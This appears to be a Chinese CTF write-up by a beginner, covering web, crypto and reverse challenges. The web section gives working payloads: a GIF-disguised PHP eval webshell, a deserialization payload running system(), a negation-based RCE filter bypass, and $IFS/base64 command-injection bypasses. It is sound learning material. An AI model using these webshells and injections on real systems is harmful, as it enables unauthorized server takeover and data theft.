# Web
# ezupload
一道简单的 mine 绕过,上传一句话木马,用 burpsuit 抓包后,修改文件头为:
Content-Type: application/gif
成功上传后访问文件用蚁剑连接即可。
一句话木马:
| GIF89a | |
| <?php eval($_POST['cmd']);?> | 
# php very nice
题目:
| <?php | |
| highlight_file(__FILE__); | |
| class Example | |
|  { | |
| public $sys='Can you find the leak?'; | |
| function __destruct(){ | |
| eval($this->sys); | |
|      } | |
|  } | |
| unserialize($_GET['a']); | |
|  ?> | 
反序列化后会调用__destruct () 函数。
直接上代码:
| <?php | |
| class Example | |
| { | |
| public $sys='system("cat f*");'; | |
| } | |
| $a=new Example(); | |
| echo serialize($a); | 
这里是已经执行过 system ("ls"); 知道 flag 文件在当前目录下了。
payload:
| ?a=O:7:"Example":1:{s:3:"sys";s:17:"system("cat f*");";} | 
检查网页源代码即可看到 flag。
# wu
题目:
| <?php | |
| highlight_file(__FILE__); | |
| $a = $_GET['a']; | |
| if(preg_match("/[A-Za-z0-9]+/",$a)){ | |
| die("no!"); | |
| } | |
| @eval($a); | |
| ?> | 
无字母 rce,取反绕过即可:
| <?php | |
| $a = "system"; | |
| //$b = "ls"; | |
| $b = "cat zheshiflag.php"; | |
| echo urlencode(~$a); | |
| echo "\n"; | |
| echo urlencode(~$b); | 
还有异或和自增方法,这里没有尝试。
# 再来 ping 一波啊
;l\s 得到回显 index.php。
输入 cat 得到回显:
常用的读取命令肯定不行,你要是想出绕过的也算你厉害。但过滤机制是改了的 -。-,你再研究研究?
寻常的绕过方式估计是不行了,经过尝试可以用 base64 绕过,空格可以用 %09 和 $IFS$1 绕过,bash 被过滤了但 sh 没有被过滤。
payload:
/?ip=;echo$IFSIFS$1-d|sh
检查网页源码即可。
# 代码审计 1
题目:
| <?php | |
| highlight_file(__FILE__); | |
| include('flag.php'); | |
| $sys = $_GET['sys']; | |
| if (preg_match("|flag|", $xsx)) { | |
| die("flag is no here!"); | |
| } else { | |
| $xsx = $_GET['xsx']; | |
| echo new $sys($xsx); | |
| } | 
看到 echo new xsx); 就可以知道此题需要利用 php 中的原生类。
原生类具体参考以下文章:
使用
| ?sys=DirectoryIterator&xsx=glob://f* | 
读取文件名
得到回显:flag.php
payload:
| ?sys=SplFileObject&xsx=php://filter/convert.base64-encode/resource=flag.php | 
base64 解码即可。
# 自由的文件上传系统
上传一句话木马:
| GIF89a | |
| <?php eval($_POST['cmd']);?> | 
得到回显:
文件绝对路径: /var/www/html/upload/3385082283
继续:
/sectet_include.php?file=var/www/html/upload/3385082283
尝试输入命令发现没用,检查网页源码后发现变成这样:
| GIF89a | |
| <!php eval($_POST['cmd']);!> | 
可以看到 '?' 变成了 '!'。
注意到 php 版本 5.5.9,使用这个一句话木马绕过;
| GIF89a? | |
| <script language="php">@eval($_POST['cmd']); | 
重复上述操作后,使用蚁剑连接即可。
# Crypto
# 天干地支
解压压缩包后得到:
小李某一天收到一条微信,微信中写了几个不同的年份
丁丑 丙子 戊辰 壬午 丁丑 丙子 戊辰 壬午 壬辰 壬辰 辛未 丙戌
微信的后面还写有 “+ 甲子”,请解出这段密文。
flag 格式:flag
照着这张表列出数字:

14 13 5 19 14 13 5 19 29 29 8 23
由于还需要 “+ 甲子”, 所以再加上 60
74 73 65 79 74 73 65 79 89 89 68 83
转码即可:
JIAOJIAOYYDS
flag
# Reverse
# ?64
直接运行 64.exe 即可:
Base64 解码后,MD5 加密即是 flag。
# Sign Up
运行该脚本即可:
| keyuser = ['1','9','2','1','6','8','1','0','9'] | |
| keypass = ['r','o','o','t'] | |
| a = "" | |
| b = '' | |
| for i in range(0,7): | |
| uu = chr(ord(keyuser[i]) - 1) | |
|   a+=uu | |
| for j in range(0,4): | |
| b+= chr(ord(keypass[j])-2) | |
| print(a+b) | 
得到 0810570pmmr,不过得注意加上 09,md5 加密 081057009pmmr
即为 flag。
# Java_Tools

HelloWorld! Md5 加密即可.
# 总结
	这次比赛对于我这个刚接触安全的小白收获还是蛮大的,web题目除了那道java反序列化不会,其他在我的软磨硬泡下都弄出来了,还是有点成就感的,最后也是混了个二等奖,嘻嘻~(\*/ω\\*)。


